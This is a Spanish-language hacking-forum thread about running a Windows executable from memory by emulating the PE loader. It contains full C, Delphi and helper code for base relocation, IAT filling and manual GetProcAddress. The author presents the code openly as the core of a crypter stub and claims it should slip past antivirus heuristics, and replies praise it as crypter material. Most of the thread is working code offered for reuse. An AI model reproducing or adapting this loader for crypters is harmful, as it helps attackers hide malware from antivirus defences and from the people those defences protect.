Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: [Zero] en 18 Agosto 2009, 19:32 pm



Título: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: [Zero] en 18 Agosto 2009, 19:32 pm
Ejecución de Archivos desde Memoria - Base Relocation

Bueno, hago éste texto para explicar un poco en que consiste el método y a la vez para que no haya gente que se limite a copiar el código sin más. Todo lo que voy a decir está basado en lo siguiente, el cual será necesario leer antes de éste texto para comprender bien el código.

Código:
http://www.joachim-bauch.de/tutorials/load_dll_memory.html

A la vez, para comprender todo lo que diré, será necesario tener conocimientos sobre el formato PE, y el único texto que encontré que habla un poco de la Base Relocation es el de microsoft:

Código:
http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v8.docx


El Problema

Vale, imaginémonos que estamos programando un crypter. El stub del crypter, al ser ejecutado, descifra el archivo en memoria, y llegamos al momento, en que tenemos el archivo que habíamos cifrado, descifrado y mapeado en memoria, pero no podemos ejecutarlo, puesto no está cargado en su ImageBase, y por lo tanto, todas las instrucciones relativas al ImageBase saltarán a un punto que vete tu a saber que hay. Entre éstas instrucciónes, están las llamadas a las API's (llamadas a punteros de la IAT), y al haberse mapeado y no cargado, la IAT no se cargó con las direcciones de las API's, otro problema  :-\.

El Loader de Windows

Para entender lo que vamos a hacer, vamos a ver antes que es lo que hace windows para ejecutar un archivo cuando nosotros se lo indicamos:
  • Lee el archivo y busca la cabecera DOS, la cabecera PE y las cabeceras de las secciones.
  • Intenta reservar espacio en memoria en la dirección del ImageBase, y si ya está en uso, la reserva en otra dirección. La cantidad de memoria que reserva está marcado por el SizeOfImage.
  • Mapea las distintas secciones de acuerdo con su VirtualOffset y VirtualSize y los Flags.
  • Si el archivo no está cargado en su ImageBase, hace una reubicación de la base del ejecutable.
  • Recorre la Import Table y carga las librerías que importa en ejecutable.
  • Rellena la IAT con las direcciones de las funciones que importa.
  • Crea el hilo inicial de ejecución y lanza el proceso.

La Solución

Si emulamos el Loader de Windows a base de código, podemos arrancar el ejecutable desde memoria sin necesidad de guardarlo en disco y ejecutarlo o tener que crear otro proceso para tener el ImageBase origianal libre.

Aquí pongo el código que hice, y subo el proyecto. El archivo lleva en el resource un ejecutable que emite un messagebox. Al arrancar el archivo, la sección de resource se mapea en memoria con todo el ejecutable, y emulando el loader de windows, carga el archivo reubicando la ImageBase y pasandole la ejecución a éste  ;-). Comenté mucho el código para que no haya problemas de comprensión, pero es necesario tener muy claro el formato PE  :P.

Código
  1. //-------------------------------------------------------------------------------------------
  2. // PoC - [Base Relocation]
  3. //
  4. //Descripción: Ejecuta un archivo mapeado en memoria sin guardarlo en disco
  5. //Autor: Hacker_Zero
  6. //Fecha: 18-8-2009
  7. //Basado en: http://www.joachim-bauch.de/tutorials/load_dll_memory.html
  8. //-------------------------------------------------------------------------------------------
  9.  
  10. #pragma optimize("gsy", on)
  11. #pragma comment(linker, "/ENTRY:main")
  12.  
  13. #include <windows.h>
  14. #include "resource.h"
  15.  
  16. void main()
  17. {
  18. //Cargamos ejecutable del resource
  19. HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
  20. HGLOBAL hGlob=LoadResource(NULL,hResource);
  21. DWORD FileSize=SizeofResource(NULL,hResource);
  22. LPSTR lpFileMaped=(LPSTR)LockResource(hGlob);
  23.  
  24. PIMAGE_DOS_HEADER IDH;
  25. PIMAGE_NT_HEADERS INTH;
  26. PIMAGE_SECTION_HEADER ISH;
  27.  
  28. //Obtenemos la cabecera DOS y PE en las estructuras
  29. IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
  30. INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
  31.  
  32. //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
  33. LPSTR ExeBuffer=(LPSTR)VirtualAlloc(NULL,INTH->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  34. //LPSTR ExeBuffer=(LPSTR)GlobalAlloc(GPTR,INTH->OptionalHeader.SizeOfImage);
  35.  
  36. //Copiamos la cabecera DOS y PE al buffer
  37. CopyMemory(&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders);
  38.  
  39. //Copiamos las secciones en su VirtualOffset en el buffer
  40. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  41. {
  42. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  43. CopyMemory(&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData);
  44. }
  45.  
  46. //Calculamos el delta entre la dirección del buffer y el ImageBase
  47. DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);
  48.  
  49. //------------------------------------------------------------
  50. /* -Reubicamos la dirección base del ejecutable :D- */
  51. //------------------------------------------------------------
  52.  
  53. //Si no hay tabla de reubicación, salimos
  54. if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0)
  55. {
  56. MessageBoxA(0,"No se ha encontrado Tabla de Reubicaciones\nImposible cargar el archivo",0,0);
  57. ExitProcess(0);
  58. }
  59.  
  60. //Obteemos el Image Base Relocation
  61. PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  62.  
  63. //Vamos recorriendo todas las etradas del bloque
  64. for (;IBR->VirtualAddress>0; )
  65. {
  66. //Obtenemos el Bloque de reubicación
  67. LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);
  68.  
  69. //Obtenemos la primera entrada del bloque
  70. LPWORD RelocationEntry=(LPWORD)((LPSTR)IBR+sizeof(IMAGE_BASE_RELOCATION));
  71.  
  72. //Recorremos todas las entradas del bloque
  73. for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
  74. {
  75. //Obtenemos los 4 bits que definen el tipo de reubicación
  76. DWORD type=*RelocationEntry>>12;
  77.  
  78. //Obtenemos los 12 bits que definen la dirección de la reubicación
  79. DWORD offset=*RelocationEntry&0xfff;
  80.  
  81. //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
  82. switch (type)
  83. {
  84. case IMAGE_REL_BASED_HIGHLOW:
  85. //Añadimos a la dirección que depende del imagebase original
  86. //el delta entre el imagebase y nuestra dirección base
  87. LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
  88. *newAddr=Delta+(DWORD)*newAddr;
  89. break;
  90. }
  91. }
  92. //Vamos al siguiente bloque
  93. IBR = (PIMAGE_BASE_RELOCATION)(((DWORD)IBR) + IBR->SizeOfBlock);
  94. }
  95.  
  96.  
  97. //---------------------------------------------------------------------
  98. /* -Cargamos los valores de la IAT para poder llamar a las apis- */
  99. //---------------------------------------------------------------------
  100.  
  101. PIMAGE_THUNK_DATA ITD;
  102. PIMAGE_IMPORT_BY_NAME IIBN;
  103.  
  104. //Comprobamos si hay Import Data Descriptor
  105. if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
  106. {
  107. //Si lo hay lo obtenemos en la estructura
  108. PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  109.  
  110. //Vamos recorriendo todas las Dll's importadas por el ejecutable
  111. for (;IID->Name;IID++)
  112. {
  113. //Cargamos la dll
  114. HMODULE hLib=LoadLibraryA((LPCSTR)(ExeBuffer+IID->Name));
  115.  
  116. //Obtenemos la dirección al primer miembro del array Image Thunk Data's
  117. ITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);
  118.  
  119. //Vamos recorriendo las funciones importadas
  120. for (;ITD->u1.Ordinal;ITD++)
  121. {
  122. //Cargamos el Image Import By Name para obtener el nombre
  123. IIBN=(PIMAGE_IMPORT_BY_NAME)(ExeBuffer+ITD->u1.Function);
  124. //Obtenemos la dirección de la función y la guardamos en la IAT
  125. ITD->u1.Function=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
  126. }
  127. }
  128. }
  129.  
  130. //Obteemos el EntryPoint de ejecutable que cargamos en el buffer
  131. DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint;
  132.  
  133. //Llamamos al EntryPoint
  134. __asm
  135. {
  136. mov eax,EntryPoint
  137. call eax
  138. }
  139.  
  140. ExitProcess(0);
  141. }
  142.  


# Cabe destacar que para que el archivo pueda ser ejecutado en un ImageBase distinto al original, es necesario que el archivo tenga tabla de reubicación, el VC++ 2008 la pone en los ejecutables por defecto, y en Fasm se puede añadir con la siguiente línea:

Código:
section '.reloc' fixups data discardable 

En VB no se si se pude poner, al menos no lo hace por defecto  :P.



# Los antivirus suelen Hookear las API's de manejo de memoria en un proceso remoto, por eso, la mayoría de crypters que usan API's como WriteProcessMemory o CreateRemoteThread son detectados por las heurísticas. Con éste método se evita tener que llamar a esas API's, por lo que (no lo probé) debería de poder saltarse las heurísticas  ;-).



# Pronto actualizaré el post con un código que solucionará el problema de que el archivo deba tener tabla de reubicaciones  ;D.


Descargar proyecto de ejemplo (http://www.megaupload.com/?d=3S7ZOFVB)





Ejecutar archivos sin Relocation Table

Bueno, pues terminé el código que ejecuta archivos desde memoria aunque éstos no tengan Relocation Table. Tiene un pequeño fallo, y es que con ejecutables en VB crashea debido a que hay algo raro en el import table, no sé muy bien aún a que se debe pero se puede solucionar.

Lo que hace el código es ejecutar un Loader que tiene Relocation Table desde una posición de memoria diferente a su ImageBase. El loader ejecuta el archivo que queremos inyectar desde memoria librerando memoria en el ImageBase original (00400000, desde donde habíamos llamado al loader) y carga ahí el ejecutable, por lo que no es necesario reubicar la ImageBase y funciona  ;D.

(http://i360.photobucket.com/albums/oo45/eduhack/rt.png)

Descargar Código Fuente (http://www.megaupload.com/?d=733RQDOA)

Saludos

(http://i.creativecommons.org/l/by-nc/3.0/88x31.png) (http://creativecommons.org/licenses/by-nc/3.0/deed.es)



Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: Karcrack en 18 Agosto 2009, 19:38 pm
Muy bueno ;D ;D ;D

Lastima que haga falta lo del .reloc :( Sino harias un crypter fenomenal :xD

Le pongo una chincheta... ya estara bien de hacer tutos... como hagas uno solo mas me va a tocar hacerte un recopilatorio para ti solo :¬¬ :xD, nah, es broma, sigue asi ;)


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: [Zero] en 18 Agosto 2009, 19:42 pm
Lo de reloc está solucionado virtualmente, falta el código jeje. Pronto actualizo con el código que soluciona ese problema y a ver si hago un crypter de muestra (el builder ya lo tengo de una vez asíque...  :xD).

Saludos y gracias por la chincheta  :xD

Edito: Bueno, lo intenté con ésto (http://foro.elhacker.net/programacion_cc/duda_olly_debug_y_ntunmapviewofsection-t264601.0.html), pero al parecer no fue buena idea, pensaré en otra cosa  :-\.


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: Jaixon Jax en 19 Agosto 2009, 05:38 am
 :o

  Valla pedazo de aportacion jeje




  Descargando.........  :xD


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: [Zero] en 19 Agosto 2009, 11:36 am
Actualicé el post, ahora ejecuta cualquier archivo tenga o no Relocation Table (salvo ejecutables en VB  :¬¬).

Saludos


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: Distorsion en 21 Agosto 2009, 11:37 am
Muy bueno  ;D Gracias a vosotros esto esta cogiendo nivel.

Saludos.


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: prat en 22 Octubre 2009, 10:32 am
Ooops, mi sexto sentido me dice que esto me interesa.... aunque tendre que leermelo 7 u 8 veces y alguna mas  :xD

Gracias por la aportacion! ^^


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: plaganegra en 12 Diciembre 2009, 19:13 pm
 ;-) Muy bueno el articulo, de veras. Felicitaciones.
Estoy teniendo un pequeño problema al intentar saltar a la direccion en memoria con

Código:
_asm
{
     mov eax, AddEntryPoint
     call eax
}
o similarmente también:
Código:
_asm
{
     mov eax, AddEntryPoint
     push eax
     ret
}
Me salta Violación de Acceso (0x0000005 Error), porqué?
Que pena si es un poco tarde para preguntar pero no he podido resolver el problemilla


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: [Zero] en 13 Diciembre 2009, 00:33 am
;-) Muy bueno el articulo, de veras. Felicitaciones.
Estoy teniendo un pequeño problema al intentar saltar a la direccion en memoria con

Código:
_asm
{
     mov eax, AddEntryPoint
     call eax
}
o similarmente también:
Código:
o 
_asm
{
     mov eax, AddEntryPoint
     push eax
     ret
}
Me salta Violación de Acceso (0x0000005 Error), porqué?
Que pena si es un poco tarde para preguntar pero no he podido resolver el problemilla

Hm es raro, como lo estás probando? Quizás no tenga permisos de ejecución a donde estás saltando o no obtienes bien el EntryPoint. Intenta debugear y mira a ver que es lo que pasa. Yo tuve problemas en el segundo ejemplo que inyecta sin relocation table, necesité darle permisos de debug para que funcionara, estás probando el primero o el segundo ejemplo?

Saludos  :)


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: plaganegra en 13 Diciembre 2009, 05:36 am
Estoy viendo con el debbuger y el problema es precisamente eso, no hay permisos, aunque realmente la memoria se esta reservando en el mismo espacio de proceso y estoy obteniendo los permisos "SeDebugPrivilege", "SeCreatePagefilePrivilege", "SeTcbPrivilege"; mediante el uso de OpenProcessToken, LookupPrivilegeValue y AdjustTokenPrivileges. :-\

Con respecto al entrypoint lo revise con el PEditor 1.7 y efectivamente si es el entry point correcto.

También escaneo la memoria en la direccion retornada por VirtualAlloc y efectivamente se encuentra el MZ y PE después de haber escrito esa parte en la memoria. :huh:

No se que puede ser, que consejos me puedas dar, alguna experiencia similar? :-\

Saludos  ;D


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: [Zero] en 13 Diciembre 2009, 12:05 pm
Pero estás usando el primero o el segundo ejemplo? Yo tuve problemas con el primero pero lo solucioné con RtlAdjustTokenPrivileges, dando permisos a esa zona de SeDebugPrivilege. Con el primero no tuve problema, VirtualAlloc debería de dejar bien los permisos en esa zona, prueba a llamar a VirtualProtect a ver, pero es extraño  :P.

Saludos


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: plaganegra en 13 Diciembre 2009, 18:55 pm
use VirtualProtect y RtlAdjustTokenPrivileges pero nada.
A que te refieres con el primero o el segundo ejemplo, no se cual es cada uno  ;D
De pronto uno es el que llamaste Loader y el otro es el ExecutableRunner, el que carga el loader?
Saludos ;)


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: [Zero] en 13 Diciembre 2009, 19:17 pm
Si te fijas en el post principal hay dos apartados, un Ejecucion de Archivos con Relocation Table y otro sin ella. Por lo que dices del "Loader" supongo que te bajaste el segundo. Ese código es bastante inestable, tendrás que depurarlo bastante si quieres que funcione con todos los ejecutables. Por ejemplo falla obteniendo las apis de la IAT y al cargar la IAT, y supongo habrá algun otro fallo  :P. Lo mejor es que intentes hacer uno de 0 basándote en ese, ya que no es un código ejemplar  :xD.

Saludos  :P


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: SoiundTrip en 19 Enero 2010, 12:13 pm
Oh,it's really cool advice)  ;D


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: The Swash en 3 Junio 2011, 00:58 am
A mi parecer la dependencia exacta de que todas las direcciónes físicas sean realocadas da un porcentaje muy alto de fallar al cargar un ejecutable en otro espacio de memoria diferente a su ImageBase, tenía que prácticar Relocations así que decidí intentarlo en Delphi y vaya trabajo me ha dado. Gracias [Zero]
Código
  1. IMAGE_IMPORT_DESCRIPTOR = packed record
  2.    OriginalFirstThunk: DWORD;
  3.    TimeDateStamp: DWORD;
  4.    ForwarderChain: DWORD;
  5.    Name: DWORD;
  6.    FirstThunk: DWORD;
  7. end;
  8.  
  9. IMAGE_RELOCATIONS = packed record
  10.    PageRVA: DWORD;
  11.    Size:    DWORD;
  12. end;
  13.  
  14. type
  15. TArrayOfByte = array of byte;
  16. TArrayOfISH = array of TIMAGESECTIONHEADER;
  17. PIMAGEIMPORTDESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
  18. PIMAGERELOCATIONS = ^IMAGE_RELOCATIONS;
  19.  
  20. function RVATOOFFSET(RVA:DWORD): DWORD;
  21. var
  22. i,n: integer;
  23. begin
  24.     for i:= 0 to IFH.NumberOfSections-1 do
  25.     begin
  26.          n:= (ish[i].VirtualAddress + ish[i].SizeOfRawData)-RVA ;
  27.          if n > 0 then
  28.          begin
  29.               Result:=(RVA - ish[i].VirtualAddress) + ish[i].PointerToRawData;
  30.               break;
  31.          end;
  32.     end;
  33.     if RVA < ish[0].VirtualAddress then Result:= RVA;
  34. end;
  35.  
  36.  
  37. procedure Execute();
  38. var
  39. IDH:         PIMAGEDOSHEADER;
  40. IOH:         PIMAGEOPTIONALHEADER;
  41. IDD:         Array[0..15] of PIMAGEDATADIRECTORY;
  42. IID:         PIMAGEIMPORTDESCRIPTOR;
  43. IR:          PIMAGERELOCATIONS;
  44. aBuffer:     TArrayOfByte;
  45. FileLen:     DWORD;
  46. hFile:       THANDLE;
  47. BytesRead:   DWORD;
  48. Signature:   PDWORD;
  49. i:           DWORD;
  50. Acumulador:  DWORD;
  51. BaseAddress: Pointer;
  52. lFunction:   PDWORD;
  53. TempAddress: DWORD;
  54. EP:          DWORD;
  55. aBlock:      DWORD;
  56. rBlock:      PWORD;
  57. dType:       DWORD;
  58. Offset:      PDWORD;
  59. Delta:       DWORD;
  60. rOffset:     DWORD;
  61. Ordinal:     DWORD;
  62. GPA:         function(hModule: Cardinal; Ordinal: Cardinal): Pointer; stdcall;
  63. begin
  64.     hFile:= CreateFileA('C:\Archivos de programa\Opera\opera.exe',GENERIC_READ, FILE_SHARE_READ,nil, OPEN_EXISTING,0,0);
  65.     If hFile <> INVALID_HANDLE_VALUE then
  66.     begin
  67.          FileLen:= GetFileSize(hFile,nil);
  68.          SetLength(aBuffer,FileLen);
  69.          ReadFile(hFile,aBuffer[0],FileLen,BytesRead,nil);
  70.     end;
  71.     GPA:= GetProcAddress(GetModuleHandle('kernel32'),'GetProcAddress');
  72.     CloseHandle(hFile);
  73.     IDH:= Pointer(aBuffer);
  74.     if IDH.e_magic = IMAGE_DOS_SIGNATURE then
  75.     begin
  76.          Signature := @aBuffer[IDH._lfanew];
  77.          if Signature^ = IMAGE_NT_SIGNATURE then
  78.          begin
  79.               IFH:= @aBuffer[IDH._lfanew + 4];
  80.               IOH:= @aBuffer[IDH._lfanew + 24];
  81.               Acumulador:= 0;
  82.               for i:=0 to 15 do
  83.               begin
  84.                    IDD[i]:= @aBuffer[IDH._lfanew + 120 + Acumulador];
  85.                    Acumulador:= Acumulador+8;
  86.               end;
  87.               SetLength(ISH, IFH.NumberOfSections-1);
  88.               Acumulador := 0;
  89.               for i:=0 to IFH.NumberOfSections-1 do
  90.               begin
  91.                    CopyMemory(@ISH[i], @aBuffer[IDH._lfanew + 248 + Acumulador], 40);
  92.                    Acumulador:= Acumulador + 40;
  93.               end;
  94.               BaseAddress:= VirtualAlloc(nil, IOH.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  95.               CopyMemory(BaseAddress, @aBuffer[0], IOH.SizeOfHeaders);
  96.               for i:=0 to IFH.NumberOfSections-1 do
  97.               begin
  98.                    CopyMemory(Pointer(DWORD(BaseAddress)+ISH[i].VirtualAddress), @aBuffer[ISH[i].PointerToRawData], ISH[i].SizeOfRawData);
  99.               end;
  100.                              Delta:= DWORD(BaseAddress) - IOH.ImageBase;
  101.               rOffset:= RVATOOFFSET(IDD[5].VirtualAddress);
  102.               IR:= @aBuffer[rOffset];
  103.               While(IR.PageRVA <> 0) do
  104.               begin
  105.                    aBlock:= (IR.Size - 8)div 2;
  106.                    rBlock:= Pointer(DWORD(IR) + 8);
  107.                    While(aBlock > 0) do
  108.                    begin
  109.                         dType:= (rBlock^ and $F000) div $1000;
  110.                         Offset:= Pointer(DWORD(rBlock^ and $FFF) + IR.PageRVA + DWORD(BaseAddress));
  111.                         if dType = 3 then
  112.                         begin
  113.                              Offset^:= Offset^ + Delta;
  114.                         end;
  115.                         rBlock:= Pointer(DWORD(rBlock)+ 2);
  116.                         aBlock:= aBlock - 1;
  117.                    end;
  118.                    IR:= Pointer(DWORD(IR)+ IR.Size);
  119.               end;
  120.               IID:= @aBuffer[RVATOOFFSET(IDD[1].VirtualAddress)];
  121.               While(IID.Name <> 0) do
  122.               begin
  123.                    lFunction:= Pointer(DWORD(BaseAddress) + IID.FirstThunk);
  124.                    While(lFunction^ <> 0) do
  125.                    begin
  126.                         if lFunction^ > $80000000 then
  127.                         begin
  128.                              Ordinal:= lFunction^-$80000000;
  129.                              TempAddress:= DWORD(GPA(LoadLibraryA(@aBuffer[RVATOOFFSET(IID.Name)]),Ordinal));
  130.                         end else
  131.                         begin
  132.                              TempAddress:= DWORD(GetProcAddress(LoadLibraryA(@aBuffer[RVATOOFFSET(IID.Name)]),@aBuffer[RVATOOFFSET(lFunction^+2)]));
  133.                         end;
  134.                         lFunction^:= TempAddress;
  135.                         lFunction:= Pointer(DWORD(lFunction)+4);
  136.                    end;
  137.                    IID:= Pointer(DWORD(IID)+20);
  138.               end;
  139.               EP:= IOH.AddressOfEntryPoint + DWORD(BaseAddress);
  140.               asm
  141.               mov eax, EP
  142.               jmp eax;
  143.               end;
  144.          end;
  145.     end;
  146. end;

PD: Algunos errores corregidos, añadido soporte para importación por ordinales.


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: roilivethelife en 30 Mayo 2012, 21:08 pm
¿Seria posible que resubieseis los links? Gracias y un saludo


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: [Zero] en 31 Mayo 2012, 20:22 pm
Que faena, no  conservo los archivos, si alguien los conserva y los pudiera resubir sería perfecto. De todas formas, con el código puedes compilarlo perfectamente, croe que no faltaba nada, incluso el ejemplo está.

Saludos


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: roilivethelife en 1 Junio 2012, 20:00 pm
Que rabia... yo lo tuve hace tiempo en el pc pero formateé  :( :(

Intentaré compilarlo entonces, pero ¿que programa uso? Visual Studio?

salu2


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: [Zero] en 3 Junio 2012, 19:40 pm
Sí, con Visual Studio, la 2008 o la 2010 deberían de ir perfectas.

Saludos


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: Karman en 8 Junio 2012, 05:56 am
hay dos problemas con el código, 1º que no tiene en cuenta los imports que usan ordinal en vez de nombres y el segundo son los Forwarder imports

acá tienen una versión que hice de un "full"  GetProcAddress manual:

Código
  1. FARPROC WINAPI GetProcAddress(HMODULE hModule,LPCSTR lpProcName){
  2.  DWORD index,dwExportSize,dwOrdinal=0;
  3.  if(!hModule)return NULL;
  4.  PIMAGE_DOS_HEADER pDosHeader;
  5.  PIMAGE_NT_HEADERS pNTHeader;
  6.  PIMAGE_EXPORT_DIRECTORY pExportDir;
  7. pDosHeader=(PIMAGE_DOS_HEADER)hModule;
  8. if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
  9. return NULL;
  10.  pNTHeader=RVAPTR(PIMAGE_NT_HEADERS,pDosHeader,pDosHeader->e_lfanew);
  11. if(pNTHeader->Signature!=IMAGE_NT_SIGNATURE)
  12. return NULL;
  13.  pExportDir=RVAPTR(PIMAGE_EXPORT_DIRECTORY,pDosHeader,pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  14.  dwExportSize=pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
  15.  if(!pExportDir)
  16.    return NULL;
  17.  PCHAR* pszName=RVAPTR(PCHAR*,pDosHeader,pExportDir->AddressOfNames);
  18.  PDWORD pdwAddress=RVAPTR(PDWORD,pDosHeader,pExportDir->AddressOfFunctions);
  19.  PWORD pwOrdinals=RVAPTR(PWORD,pDosHeader,pExportDir->AddressOfNameOrdinals);
  20.  if(!pszName||!pwOrdinals||!pdwAddress)
  21.    return NULL;
  22.  if(HIWORD(lpProcName)==0){
  23.    // Look up by ordinal
  24.    dwOrdinal=(LOWORD((DWORD)lpProcName)-pExportDir->Base);
  25.  }else{
  26.    // Look up by name
  27.    for(index=0;index<pExportDir->NumberOfNames;index++){
  28.      if(!lstrcmpA(RVAPTR(PCHAR,pDosHeader,pszName[index]),lpProcName)){
  29.        dwOrdinal=pwOrdinals[index];
  30.        break;
  31.      }
  32.    }
  33.  }
  34.  //Get Func Address
  35.  DWORD dwFunction=RVAPTR(DWORD,pDosHeader,pdwAddress[dwOrdinal]);
  36.  // Let's Check if is Forwarder
  37.  if((dwFunction>(ULONG_PTR)pExportDir)&&(dwFunction<((ULONG_PTR)pExportDir+dwExportSize))){
  38.    CHAR ForwarderDllName[MAX_PATH],*ForwardImportName;USHORT len;
  39.    ForwardImportName=strchr((LPSTR)dwFunction,'.');
  40.    len=ForwardImportName++-(LPSTR)dwFunction;
  41.    strncpy(ForwarderDllName,(LPSTR)dwFunction,len);
  42.    strcpy(&ForwarderDllName[len],".dll");
  43.    // Find the module associated to it (should be already loaded)
  44.    return GetProcAddress(GetModuleHandleA(ForwarderDllName),ForwardImportName);
  45.  }
  46.  return (FARPROC)dwFunction;
  47. }

capaz lo pueden adaptar...

S2


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: [Zero] en 8 Junio 2012, 23:48 pm
Gracias Karman, y sí, lo de las importaciones por ordinal lo supe poco después de publicar el código, lo de los Forwareder Imports no se me había ocurrido. The Swash había publicado una corrección a éste código teniendo en cuenta las importaciones por ordinal, creo que en este foro también está publicado.

Pero bueno, gracias una vez más, leer código tuyo siempre es interesante, cuando tenga más tiempo publicaré una nueva versión de éste código y de la ClsHookAPI, que hace mucho tiempo que los hice y ya no me gusta demasiado como están hechos.

Saludos

Edito: Leyendolo por encima, una micro-mejora:

Código
  1.    strncpy(ForwarderDllName,(LPSTR)dwFunction,len);
  2.    strcpy(&ForwarderDllName[len],".dll");
  3.    // Find the module associated to it (should be already loaded)
  4.    return GetProcAddress(GetModuleHandleA(ForwarderDllName),ForwardImportName)
  5.  

El ".dll" no es necesario para llamar a GetModuleHandle ni a LoadLibrary, si no se especifica extensión la API toma por defecto siempre ".dll" :) .


Título: Re: Ejecución de Archivos desde Memoria [Base Relocation]
Publicado por: Karman en 9 Junio 2012, 00:00 am
El ".dll" no es necesario para llamar a GetModuleHandle ni a LoadLibrary, si no se especifica extensión la API toma por defecto siempre ".dll" :) .

si y no, lo que pasa es que tengo mi custom GetModuleHandle también y para no tener que comprobar dos veces en la misma busco la dll con el nombre completo :P, pero si, si usás el GetModuleHandle original no es necesario...

S2